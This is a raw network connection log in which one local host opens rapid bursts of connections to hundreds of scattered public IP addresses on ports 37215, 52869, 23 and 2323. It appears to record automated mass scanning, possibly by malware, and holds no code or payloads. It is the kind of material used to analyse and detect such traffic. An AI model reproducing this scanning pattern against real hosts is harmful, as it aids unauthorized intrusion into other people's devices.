Dec 4, 2024 20:34:29.038712025 CET	60275	37215	192.168.2.14	156.229.56.32
Dec 4, 2024 20:34:29.038713932 CET	60275	37215	192.168.2.14	197.103.71.55
Dec 4, 2024 20:34:29.038729906 CET	60275	37215	192.168.2.14	156.63.114.221
Dec 4, 2024 20:34:29.038732052 CET	60275	37215	192.168.2.14	41.233.195.221
Dec 4, 2024 20:34:29.038737059 CET	60275	37215	192.168.2.14	197.231.185.177
Dec 4, 2024 20:34:29.038737059 CET	60275	37215	192.168.2.14	156.6.26.73
Dec 4, 2024 20:34:29.038742065 CET	60275	37215	192.168.2.14	197.134.157.6
Dec 4, 2024 20:34:29.038762093 CET	60275	37215	192.168.2.14	197.143.52.51
Dec 4, 2024 20:34:29.038762093 CET	60275	37215	192.168.2.14	197.228.167.165
Dec 4, 2024 20:34:29.038762093 CET	60275	37215	192.168.2.14	197.108.91.39
Dec 4, 2024 20:34:29.038765907 CET	60275	37215	192.168.2.14	41.160.129.64
Dec 4, 2024 20:34:29.038765907 CET	60275	37215	192.168.2.14	156.111.76.69
Dec 4, 2024 20:34:29.038765907 CET	60275	37215	192.168.2.14	156.176.223.110
Dec 4, 2024 20:34:29.038765907 CET	60275	37215	192.168.2.14	197.143.250.159
Dec 4, 2024 20:34:29.038773060 CET	60275	37215	192.168.2.14	197.156.77.238
Dec 4, 2024 20:34:29.038774967 CET	60275	37215	192.168.2.14	41.220.219.86
Dec 4, 2024 20:34:29.038779020 CET	60275	37215	192.168.2.14	197.26.247.160
Dec 4, 2024 20:34:29.038779020 CET	60275	37215	192.168.2.14	156.236.74.173
Dec 4, 2024 20:34:29.038779020 CET	60275	37215	192.168.2.14	156.215.133.72
Dec 4, 2024 20:34:29.038779020 CET	60275	37215	192.168.2.14	197.43.141.197
Dec 4, 2024 20:34:29.038779020 CET	60275	37215	192.168.2.14	41.154.177.17
Dec 4, 2024 20:34:29.038781881 CET	60275	37215	192.168.2.14	41.25.20.183
Dec 4, 2024 20:34:29.038783073 CET	60275	37215	192.168.2.14	41.161.212.17
Dec 4, 2024 20:34:29.038793087 CET	60275	37215	192.168.2.14	41.83.141.176
Dec 4, 2024 20:34:29.038794994 CET	60275	37215	192.168.2.14	156.110.188.231
Dec 4, 2024 20:34:29.038794994 CET	60275	37215	192.168.2.14	156.117.223.71
Dec 4, 2024 20:34:29.038795948 CET	60275	37215	192.168.2.14	197.71.100.76
Dec 4, 2024 20:34:29.038798094 CET	60275	37215	192.168.2.14	197.44.29.62
Dec 4, 2024 20:34:29.038795948 CET	60275	37215	192.168.2.14	156.212.135.22
Dec 4, 2024 20:34:29.038803101 CET	60275	37215	192.168.2.14	197.94.242.152
Dec 4, 2024 20:34:29.038810968 CET	60275	37215	192.168.2.14	197.108.55.112
Dec 4, 2024 20:34:29.038811922 CET	60275	37215	192.168.2.14	41.197.239.19
Dec 4, 2024 20:34:29.038814068 CET	60275	37215	192.168.2.14	41.199.173.222
Dec 4, 2024 20:34:29.038819075 CET	60275	37215	192.168.2.14	197.161.232.245
Dec 4, 2024 20:34:29.038820028 CET	60275	37215	192.168.2.14	156.50.7.227
Dec 4, 2024 20:34:29.038820982 CET	60275	37215	192.168.2.14	197.14.81.77
Dec 4, 2024 20:34:29.038820982 CET	60275	37215	192.168.2.14	41.104.195.244
Dec 4, 2024 20:34:29.038825035 CET	60275	37215	192.168.2.14	156.139.154.114
Dec 4, 2024 20:34:29.038831949 CET	60275	37215	192.168.2.14	156.4.60.217
Dec 4, 2024 20:34:29.038832903 CET	60275	37215	192.168.2.14	197.192.12.45
Dec 4, 2024 20:34:29.038832903 CET	60275	37215	192.168.2.14	197.247.179.90
Dec 4, 2024 20:34:29.038832903 CET	60275	37215	192.168.2.14	41.11.84.66
Dec 4, 2024 20:34:29.038834095 CET	60275	37215	192.168.2.14	156.69.208.91
Dec 4, 2024 20:34:29.038834095 CET	60275	37215	192.168.2.14	156.185.255.148
Dec 4, 2024 20:34:29.038839102 CET	60275	37215	192.168.2.14	41.188.17.211
Dec 4, 2024 20:34:29.038839102 CET	60275	37215	192.168.2.14	197.106.68.191
Dec 4, 2024 20:34:29.038840055 CET	60275	37215	192.168.2.14	197.194.254.244
Dec 4, 2024 20:34:29.038840055 CET	60275	37215	192.168.2.14	156.50.88.61
Dec 4, 2024 20:34:29.038846970 CET	60275	37215	192.168.2.14	41.140.129.150
Dec 4, 2024 20:34:29.038858891 CET	60275	37215	192.168.2.14	156.138.140.111
Dec 4, 2024 20:34:29.038858891 CET	60275	37215	192.168.2.14	156.219.123.205
Dec 4, 2024 20:34:29.038861990 CET	60275	37215	192.168.2.14	197.243.216.172
Dec 4, 2024 20:34:29.038861990 CET	60275	37215	192.168.2.14	41.76.177.56
Dec 4, 2024 20:34:29.038866997 CET	60275	37215	192.168.2.14	197.111.101.173
Dec 4, 2024 20:34:29.038868904 CET	60275	37215	192.168.2.14	156.22.116.172
Dec 4, 2024 20:34:29.038872957 CET	60275	37215	192.168.2.14	41.138.44.13
Dec 4, 2024 20:34:29.038882971 CET	60275	37215	192.168.2.14	197.237.85.169
Dec 4, 2024 20:34:29.038885117 CET	60275	37215	192.168.2.14	156.243.75.196
Dec 4, 2024 20:34:29.038885117 CET	60275	37215	192.168.2.14	197.244.188.147
Dec 4, 2024 20:34:29.038889885 CET	60275	37215	192.168.2.14	156.26.54.87
Dec 4, 2024 20:34:29.038907051 CET	60275	37215	192.168.2.14	197.201.158.137
Dec 4, 2024 20:34:29.038912058 CET	60275	37215	192.168.2.14	156.196.26.185
Dec 4, 2024 20:34:29.038913012 CET	60275	37215	192.168.2.14	156.246.215.234
Dec 4, 2024 20:34:29.038922071 CET	60275	37215	192.168.2.14	156.188.29.75
Dec 4, 2024 20:34:29.038923025 CET	60275	37215	192.168.2.14	156.74.188.4
Dec 4, 2024 20:34:29.038927078 CET	60275	37215	192.168.2.14	197.138.94.230
Dec 4, 2024 20:34:29.038927078 CET	60275	37215	192.168.2.14	197.1.121.76
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	197.148.181.226
Dec 4, 2024 20:34:29.038929939 CET	60275	37215	192.168.2.14	156.189.20.134
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	156.235.40.96
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	197.173.168.143
Dec 4, 2024 20:34:29.038929939 CET	60275	37215	192.168.2.14	197.51.28.8
Dec 4, 2024 20:34:29.038937092 CET	60275	37215	192.168.2.14	156.108.84.166
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	41.83.149.167
Dec 4, 2024 20:34:29.038938999 CET	60275	37215	192.168.2.14	41.222.205.112
Dec 4, 2024 20:34:29.038938046 CET	60275	37215	192.168.2.14	41.32.177.63
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	156.8.107.154
Dec 4, 2024 20:34:29.038939953 CET	60275	37215	192.168.2.14	197.116.129.184
Dec 4, 2024 20:34:29.038928986 CET	60275	37215	192.168.2.14	41.0.221.255
Dec 4, 2024 20:34:29.038938999 CET	60275	37215	192.168.2.14	41.104.109.227
Dec 4, 2024 20:34:29.038944006 CET	60275	37215	192.168.2.14	41.91.213.236
Dec 4, 2024 20:34:29.038944960 CET	60275	37215	192.168.2.14	197.101.144.226
Dec 4, 2024 20:34:29.038944960 CET	60275	37215	192.168.2.14	197.68.112.253
Dec 4, 2024 20:34:29.038949966 CET	60275	37215	192.168.2.14	41.19.162.254
Dec 4, 2024 20:34:29.038950920 CET	60275	37215	192.168.2.14	197.98.248.180
Dec 4, 2024 20:34:29.038949966 CET	60275	37215	192.168.2.14	156.240.238.28
Dec 4, 2024 20:34:29.038950920 CET	60275	37215	192.168.2.14	156.236.51.211
Dec 4, 2024 20:34:29.038954020 CET	60275	37215	192.168.2.14	197.231.92.228
Dec 4, 2024 20:34:29.038954020 CET	60275	37215	192.168.2.14	197.235.137.66
Dec 4, 2024 20:34:29.038955927 CET	60275	37215	192.168.2.14	41.91.15.235
Dec 4, 2024 20:34:29.038959980 CET	60275	37215	192.168.2.14	197.78.116.0
Dec 4, 2024 20:34:29.038959980 CET	60275	37215	192.168.2.14	197.119.183.48
Dec 4, 2024 20:34:29.038960934 CET	60275	37215	192.168.2.14	156.222.156.144
Dec 4, 2024 20:34:29.038964033 CET	60275	37215	192.168.2.14	197.60.75.27
Dec 4, 2024 20:34:29.038969994 CET	60275	37215	192.168.2.14	197.140.188.68
Dec 4, 2024 20:34:29.038969994 CET	60275	37215	192.168.2.14	41.160.106.94
Dec 4, 2024 20:34:29.038979053 CET	60275	37215	192.168.2.14	156.90.162.127
Dec 4, 2024 20:34:29.038979053 CET	60275	37215	192.168.2.14	197.231.27.77
Dec 4, 2024 20:34:29.038980961 CET	60275	37215	192.168.2.14	197.156.230.251
Dec 4, 2024 20:34:29.038980961 CET	60275	37215	192.168.2.14	41.139.214.103
Dec 4, 2024 20:34:29.038980961 CET	60275	37215	192.168.2.14	41.90.102.197
Dec 4, 2024 20:34:29.038984060 CET	60275	37215	192.168.2.14	41.122.150.175
Dec 4, 2024 20:34:29.038984060 CET	60275	37215	192.168.2.14	156.148.17.32
Dec 4, 2024 20:34:29.038985968 CET	60275	37215	192.168.2.14	41.78.165.255
Dec 4, 2024 20:34:29.038986921 CET	60275	37215	192.168.2.14	197.221.104.156
Dec 4, 2024 20:34:29.038988113 CET	60275	37215	192.168.2.14	156.178.31.120
Dec 4, 2024 20:34:29.038986921 CET	60275	37215	192.168.2.14	197.54.154.149
Dec 4, 2024 20:34:29.038995028 CET	60275	37215	192.168.2.14	41.50.231.2
Dec 4, 2024 20:34:29.038995028 CET	60275	37215	192.168.2.14	41.31.21.164
Dec 4, 2024 20:34:29.038996935 CET	60275	37215	192.168.2.14	41.116.21.86
Dec 4, 2024 20:34:29.038997889 CET	60275	37215	192.168.2.14	41.253.145.174
Dec 4, 2024 20:34:29.039000034 CET	60275	37215	192.168.2.14	156.55.74.57
Dec 4, 2024 20:34:29.039000988 CET	60275	37215	192.168.2.14	156.8.122.225
Dec 4, 2024 20:34:29.039000988 CET	60275	37215	192.168.2.14	197.70.168.202
Dec 4, 2024 20:34:29.039000988 CET	60275	37215	192.168.2.14	41.21.92.137
Dec 4, 2024 20:34:29.039000988 CET	60275	37215	192.168.2.14	197.37.64.42
Dec 4, 2024 20:34:29.039005995 CET	60275	37215	192.168.2.14	156.71.144.66
Dec 4, 2024 20:34:29.039005995 CET	60275	37215	192.168.2.14	197.111.89.171
Dec 4, 2024 20:34:29.039005995 CET	60275	37215	192.168.2.14	197.40.162.93
Dec 4, 2024 20:34:29.039009094 CET	60275	37215	192.168.2.14	41.195.253.247
Dec 4, 2024 20:34:29.039009094 CET	60275	37215	192.168.2.14	156.122.74.201
Dec 4, 2024 20:34:29.046628952 CET	47384	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:29.070997000 CET	37215	34948	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:29.071007013 CET	37215	37534	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:29.071083069 CET	34948	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:29.071084023 CET	37534	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:29.071115017 CET	37534	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:29.071129084 CET	34948	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:29.071300030 CET	52869	39058	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:29.071369886 CET	39058	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:29.071439981 CET	39058	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:29.071464062 CET	60019	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:29.071466923 CET	60019	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:29.071474075 CET	60019	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:29.071485996 CET	60019	52869	192.168.2.14	197.62.26.23
Dec 4, 2024 20:34:29.071487904 CET	60019	52869	192.168.2.14	41.106.100.189
Dec 4, 2024 20:34:29.071495056 CET	60019	52869	192.168.2.14	197.104.199.212
Dec 4, 2024 20:34:29.071500063 CET	60019	52869	192.168.2.14	156.115.130.230
Dec 4, 2024 20:34:29.071500063 CET	60019	52869	192.168.2.14	41.251.129.46
Dec 4, 2024 20:34:29.071500063 CET	60019	52869	192.168.2.14	197.72.19.177
Dec 4, 2024 20:34:29.071506023 CET	60019	52869	192.168.2.14	41.19.111.3
Dec 4, 2024 20:34:29.071506977 CET	60019	52869	192.168.2.14	156.112.98.93
Dec 4, 2024 20:34:29.071508884 CET	60019	52869	192.168.2.14	41.215.166.22
Dec 4, 2024 20:34:29.071511984 CET	60019	52869	192.168.2.14	197.20.235.182
Dec 4, 2024 20:34:29.071511984 CET	60019	52869	192.168.2.14	197.39.223.108
Dec 4, 2024 20:34:29.071515083 CET	60019	52869	192.168.2.14	197.214.210.29
Dec 4, 2024 20:34:29.071516037 CET	60019	52869	192.168.2.14	41.243.136.164
Dec 4, 2024 20:34:29.071517944 CET	60019	52869	192.168.2.14	197.209.84.167
Dec 4, 2024 20:34:29.071548939 CET	60019	52869	192.168.2.14	41.117.230.74
Dec 4, 2024 20:34:29.071549892 CET	60019	52869	192.168.2.14	197.118.153.3
Dec 4, 2024 20:34:29.071549892 CET	60019	52869	192.168.2.14	197.84.67.38
Dec 4, 2024 20:34:29.071559906 CET	60019	52869	192.168.2.14	41.132.56.77
Dec 4, 2024 20:34:29.071559906 CET	60019	52869	192.168.2.14	156.18.246.19
Dec 4, 2024 20:34:29.071563005 CET	60019	52869	192.168.2.14	41.74.72.79
Dec 4, 2024 20:34:29.071563005 CET	60019	52869	192.168.2.14	156.49.5.188
Dec 4, 2024 20:34:29.071564913 CET	60019	52869	192.168.2.14	197.241.182.173
Dec 4, 2024 20:34:29.071564913 CET	60019	52869	192.168.2.14	156.111.178.202
Dec 4, 2024 20:34:29.071563005 CET	60019	52869	192.168.2.14	156.147.240.93
Dec 4, 2024 20:34:29.071567059 CET	60019	52869	192.168.2.14	156.39.221.171
Dec 4, 2024 20:34:29.071569920 CET	60019	52869	192.168.2.14	156.136.19.138
Dec 4, 2024 20:34:29.071569920 CET	60019	52869	192.168.2.14	156.133.13.227
Dec 4, 2024 20:34:29.071569920 CET	60019	52869	192.168.2.14	197.33.111.122
Dec 4, 2024 20:34:29.071588993 CET	60019	52869	192.168.2.14	156.100.188.174
Dec 4, 2024 20:34:29.071593046 CET	60019	52869	192.168.2.14	197.96.7.225
Dec 4, 2024 20:34:29.071593046 CET	60019	52869	192.168.2.14	41.30.17.196
Dec 4, 2024 20:34:29.071593046 CET	60019	52869	192.168.2.14	156.240.214.182
Dec 4, 2024 20:34:29.071593046 CET	60019	52869	192.168.2.14	41.146.250.230
Dec 4, 2024 20:34:29.071594954 CET	60019	52869	192.168.2.14	156.73.42.104
Dec 4, 2024 20:34:29.071594954 CET	60019	52869	192.168.2.14	41.69.45.66
Dec 4, 2024 20:34:29.071597099 CET	60019	52869	192.168.2.14	156.211.203.93
Dec 4, 2024 20:34:29.071598053 CET	60019	52869	192.168.2.14	197.93.97.172
Dec 4, 2024 20:34:29.071598053 CET	60019	52869	192.168.2.14	197.143.161.239
Dec 4, 2024 20:34:29.071599960 CET	60019	52869	192.168.2.14	197.134.51.191
Dec 4, 2024 20:34:29.071600914 CET	60019	52869	192.168.2.14	156.238.220.135
Dec 4, 2024 20:34:29.071599960 CET	60019	52869	192.168.2.14	156.255.126.94
Dec 4, 2024 20:34:29.071600914 CET	60019	52869	192.168.2.14	197.15.11.164
Dec 4, 2024 20:34:29.071600914 CET	60019	52869	192.168.2.14	197.18.130.192
Dec 4, 2024 20:34:29.071600914 CET	60019	52869	192.168.2.14	197.161.6.77
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	41.105.159.81
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	156.67.235.194
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	156.200.131.152
Dec 4, 2024 20:34:29.071624041 CET	60019	52869	192.168.2.14	197.72.170.185
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	197.227.123.72
Dec 4, 2024 20:34:29.071624041 CET	60019	52869	192.168.2.14	41.8.174.48
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	197.25.71.181
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	197.63.156.102
Dec 4, 2024 20:34:29.071624041 CET	60019	52869	192.168.2.14	41.199.233.12
Dec 4, 2024 20:34:29.071621895 CET	60019	52869	192.168.2.14	156.87.63.234
Dec 4, 2024 20:34:29.071624041 CET	60019	52869	192.168.2.14	197.186.169.75
Dec 4, 2024 20:34:29.071630001 CET	60019	52869	192.168.2.14	156.115.1.206
Dec 4, 2024 20:34:29.071630001 CET	60019	52869	192.168.2.14	41.156.54.182
Dec 4, 2024 20:34:29.071630955 CET	60019	52869	192.168.2.14	41.2.42.155
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	197.92.115.53
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	197.91.206.69
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	156.72.250.123
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	41.15.10.171
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	156.241.177.174
Dec 4, 2024 20:34:29.071631908 CET	60019	52869	192.168.2.14	156.179.14.112
Dec 4, 2024 20:34:29.071645021 CET	60019	52869	192.168.2.14	156.151.232.231
Dec 4, 2024 20:34:29.071645021 CET	60019	52869	192.168.2.14	197.81.8.192
Dec 4, 2024 20:34:29.071645021 CET	60019	52869	192.168.2.14	41.204.194.82
Dec 4, 2024 20:34:29.071645975 CET	60019	52869	192.168.2.14	197.207.39.171
Dec 4, 2024 20:34:29.071645975 CET	60019	52869	192.168.2.14	197.104.45.42
Dec 4, 2024 20:34:29.071645975 CET	60019	52869	192.168.2.14	156.11.35.7
Dec 4, 2024 20:34:29.071647882 CET	60019	52869	192.168.2.14	156.86.167.45
Dec 4, 2024 20:34:29.071647882 CET	60019	52869	192.168.2.14	197.118.236.33
Dec 4, 2024 20:34:29.071649075 CET	60019	52869	192.168.2.14	197.215.118.228
Dec 4, 2024 20:34:29.071649075 CET	60019	52869	192.168.2.14	197.48.107.99
Dec 4, 2024 20:34:29.071651936 CET	60019	52869	192.168.2.14	197.222.225.0
Dec 4, 2024 20:34:29.071652889 CET	60019	52869	192.168.2.14	41.33.204.230
Dec 4, 2024 20:34:29.071652889 CET	60019	52869	192.168.2.14	41.207.209.105
Dec 4, 2024 20:34:29.071655989 CET	60019	52869	192.168.2.14	156.215.93.49
Dec 4, 2024 20:34:29.071662903 CET	60019	52869	192.168.2.14	41.9.77.241
Dec 4, 2024 20:34:29.071666956 CET	60019	52869	192.168.2.14	156.17.203.234
Dec 4, 2024 20:34:29.071666956 CET	60019	52869	192.168.2.14	156.80.245.175
Dec 4, 2024 20:34:29.071666956 CET	60019	52869	192.168.2.14	156.123.226.168
Dec 4, 2024 20:34:29.071666956 CET	60019	52869	192.168.2.14	156.97.158.209
Dec 4, 2024 20:34:29.071667910 CET	60019	52869	192.168.2.14	197.109.56.39
Dec 4, 2024 20:34:29.071667910 CET	60019	52869	192.168.2.14	156.87.85.118
Dec 4, 2024 20:34:29.071670055 CET	60019	52869	192.168.2.14	197.218.22.176
Dec 4, 2024 20:34:29.071671009 CET	60019	52869	192.168.2.14	41.141.135.121
Dec 4, 2024 20:34:29.071670055 CET	60019	52869	192.168.2.14	156.173.59.201
Dec 4, 2024 20:34:29.071671963 CET	60019	52869	192.168.2.14	197.103.61.53
Dec 4, 2024 20:34:29.071671963 CET	60019	52869	192.168.2.14	197.124.66.252
Dec 4, 2024 20:34:29.071671963 CET	60019	52869	192.168.2.14	41.64.97.195
Dec 4, 2024 20:34:29.071676016 CET	60019	52869	192.168.2.14	41.238.239.216
Dec 4, 2024 20:34:29.071676016 CET	60019	52869	192.168.2.14	156.124.123.236
Dec 4, 2024 20:34:29.071676016 CET	60019	52869	192.168.2.14	197.141.236.150
Dec 4, 2024 20:34:29.071676016 CET	60019	52869	192.168.2.14	156.1.121.114
Dec 4, 2024 20:34:29.071676016 CET	60019	52869	192.168.2.14	197.1.22.172
Dec 4, 2024 20:34:29.071677923 CET	60019	52869	192.168.2.14	156.163.238.43
Dec 4, 2024 20:34:29.071687937 CET	60019	52869	192.168.2.14	197.100.219.140
Dec 4, 2024 20:34:29.071687937 CET	60019	52869	192.168.2.14	41.66.219.222
Dec 4, 2024 20:34:29.071687937 CET	60019	52869	192.168.2.14	197.59.130.199
Dec 4, 2024 20:34:29.071707964 CET	60019	52869	192.168.2.14	156.89.152.74
Dec 4, 2024 20:34:29.071707964 CET	60019	52869	192.168.2.14	156.227.85.3
Dec 4, 2024 20:34:29.071707964 CET	60019	52869	192.168.2.14	41.128.65.8
Dec 4, 2024 20:34:29.071707964 CET	60019	52869	192.168.2.14	197.72.167.61
Dec 4, 2024 20:34:29.071708918 CET	60019	52869	192.168.2.14	156.27.192.17
Dec 4, 2024 20:34:29.071708918 CET	60019	52869	192.168.2.14	197.203.167.126
Dec 4, 2024 20:34:29.071717978 CET	60019	52869	192.168.2.14	197.212.127.231
Dec 4, 2024 20:34:29.071717978 CET	60019	52869	192.168.2.14	156.190.54.56
Dec 4, 2024 20:34:29.071722984 CET	60019	52869	192.168.2.14	41.124.119.24
Dec 4, 2024 20:34:29.071724892 CET	60019	52869	192.168.2.14	197.159.142.71
Dec 4, 2024 20:34:29.071724892 CET	60019	52869	192.168.2.14	197.206.114.41
Dec 4, 2024 20:34:29.071724892 CET	60019	52869	192.168.2.14	156.106.224.191
Dec 4, 2024 20:34:29.071748018 CET	60019	52869	192.168.2.14	41.244.91.26
Dec 4, 2024 20:34:29.071748018 CET	60019	52869	192.168.2.14	197.227.66.245
Dec 4, 2024 20:34:29.071752071 CET	60019	52869	192.168.2.14	197.201.114.15
Dec 4, 2024 20:34:29.071752071 CET	60019	52869	192.168.2.14	41.4.220.140
Dec 4, 2024 20:34:29.071752071 CET	60019	52869	192.168.2.14	197.28.53.118
Dec 4, 2024 20:34:29.071753025 CET	60019	52869	192.168.2.14	156.194.103.60
Dec 4, 2024 20:34:29.071753025 CET	60019	52869	192.168.2.14	41.76.192.60
Dec 4, 2024 20:34:29.071753025 CET	60019	52869	192.168.2.14	197.65.207.213
Dec 4, 2024 20:34:29.071754932 CET	60019	52869	192.168.2.14	156.28.218.37
Dec 4, 2024 20:34:29.071755886 CET	60019	52869	192.168.2.14	156.111.219.153
Dec 4, 2024 20:34:29.071755886 CET	60019	52869	192.168.2.14	41.155.186.49
Dec 4, 2024 20:34:29.071757078 CET	60019	52869	192.168.2.14	41.51.157.78
Dec 4, 2024 20:34:29.071759939 CET	60019	52869	192.168.2.14	156.223.72.54
Dec 4, 2024 20:34:29.071754932 CET	60019	52869	192.168.2.14	197.161.77.183
Dec 4, 2024 20:34:29.071757078 CET	60019	52869	192.168.2.14	41.181.11.14
Dec 4, 2024 20:34:29.071754932 CET	60019	52869	192.168.2.14	41.43.142.25
Dec 4, 2024 20:34:29.071757078 CET	60019	52869	192.168.2.14	197.202.33.103
Dec 4, 2024 20:34:29.071754932 CET	60019	52869	192.168.2.14	41.191.111.106
Dec 4, 2024 20:34:29.071757078 CET	60019	52869	192.168.2.14	156.46.80.14
Dec 4, 2024 20:34:29.071755886 CET	60019	52869	192.168.2.14	156.112.231.123
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.36.92.178
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	156.186.48.62
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	197.211.92.196
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.90.219.155
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.184.184.252
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.214.214.23
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	156.129.55.135
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.231.158.215
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	197.206.3.23
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	197.70.149.4
Dec 4, 2024 20:34:29.071764946 CET	60019	52869	192.168.2.14	41.64.40.27
Dec 4, 2024 20:34:29.071772099 CET	60019	52869	192.168.2.14	197.12.97.107
Dec 4, 2024 20:34:29.071772099 CET	60019	52869	192.168.2.14	41.16.92.40
Dec 4, 2024 20:34:29.071773052 CET	60019	52869	192.168.2.14	156.20.104.254
Dec 4, 2024 20:34:29.071774006 CET	60019	52869	192.168.2.14	197.198.89.178
Dec 4, 2024 20:34:29.071774006 CET	60019	52869	192.168.2.14	156.123.229.54
Dec 4, 2024 20:34:29.071774960 CET	60019	52869	192.168.2.14	197.5.43.59
Dec 4, 2024 20:34:29.071774960 CET	60019	52869	192.168.2.14	197.43.32.111
Dec 4, 2024 20:34:29.071774960 CET	60019	52869	192.168.2.14	197.47.63.227
Dec 4, 2024 20:34:29.071777105 CET	60019	52869	192.168.2.14	197.114.78.198
Dec 4, 2024 20:34:29.071784973 CET	60019	52869	192.168.2.14	156.116.121.17
Dec 4, 2024 20:34:29.071787119 CET	60019	52869	192.168.2.14	41.119.173.171
Dec 4, 2024 20:34:29.071789026 CET	60019	52869	192.168.2.14	197.103.79.109
Dec 4, 2024 20:34:29.071789026 CET	60019	52869	192.168.2.14	197.85.45.41
Dec 4, 2024 20:34:29.071795940 CET	60019	52869	192.168.2.14	41.45.251.75
Dec 4, 2024 20:34:29.113045931 CET	23	55196	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.113333941 CET	23	55432	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.113420963 CET	55432	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.114159107 CET	2323	43968	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.114202976 CET	43968	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.114685059 CET	23	33588	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.114727020 CET	33588	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.115340948 CET	23	49458	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.115415096 CET	49458	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.116199970 CET	23	59838	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.116242886 CET	59838	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.131720066 CET	23	39272	158.212.231.85	192.168.2.14
Dec 4, 2024 20:34:29.131792068 CET	39272	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:29.132272005 CET	39356	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:29.143863916 CET	23	60948	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.143968105 CET	60948	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.144349098 CET	60992	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.147646904 CET	2323	38294	220.162.160.45	192.168.2.14
Dec 4, 2024 20:34:29.148034096 CET	2323	38498	220.162.160.45	192.168.2.14
Dec 4, 2024 20:34:29.148082972 CET	38498	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:29.158548117 CET	37215	60275	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.158559084 CET	37215	60275	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.158569098 CET	37215	60275	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.158633947 CET	60275	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.158637047 CET	60275	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.158643961 CET	60275	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.158683062 CET	37215	59654	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:29.158739090 CET	59654	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:29.166331053 CET	37215	47384	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:29.166392088 CET	47384	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:29.166435003 CET	47384	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:29.166836977 CET	37004	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.167412996 CET	44464	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.167944908 CET	59482	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.192307949 CET	52869	60019	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:29.192342043 CET	52869	60019	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:29.192363977 CET	37215	37534	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:29.192364931 CET	60019	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:29.192379951 CET	52869	60019	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:29.192397118 CET	60019	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:29.192400932 CET	37215	34948	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:29.192401886 CET	37534	37215	192.168.2.14	197.79.168.188
